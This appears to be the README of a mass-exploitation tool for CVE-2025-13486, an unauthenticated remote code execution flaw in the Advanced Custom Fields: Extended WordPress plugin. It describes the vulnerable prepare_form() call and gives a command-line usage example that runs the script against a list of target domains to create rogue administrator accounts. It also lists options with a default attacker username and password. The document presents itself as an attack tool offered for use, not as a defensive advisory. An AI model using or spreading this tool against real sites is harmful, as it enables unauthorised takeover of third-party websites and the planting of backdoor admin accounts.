Mass Exploit CVE-2025-13486

Advanced Custom Fields: Extended 0.9.0.5 - 0.9.1.1 - Unauthenticated Remote Code Execution in prepare_form

⚠️ Vulnerability Details

The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Remote Code Execution in versions 0.9.0.5 through 0.9.1.1 via the prepare_form() function. This is due to the function accepting user input and then passing that through call_user_func_array(). This makes it possible for unauthenticated attackers to execute arbitrary code on the server, which can be leveraged to inject backdoors or create new administrative user accounts.

🚀 Usage

Run the script from the command line:

python CVE-2025-13486.py -l list.txt --email [email protected] --user new_user --password new_password

📝 Options

options:
  -u, --url URL         Single target WordPress site URL
  -l yourlist.txt
                        File containing list of domains/URLs
  --email, --email EMAIL
                        Email to set 
  --user USERNAME
                        Username to create (default: nemesis)
  --password PASSWORD
                        Password to set (default: Warga@Sipil1337)
  -o output.txt
                        Output file to save successful results (default: success_results.txt)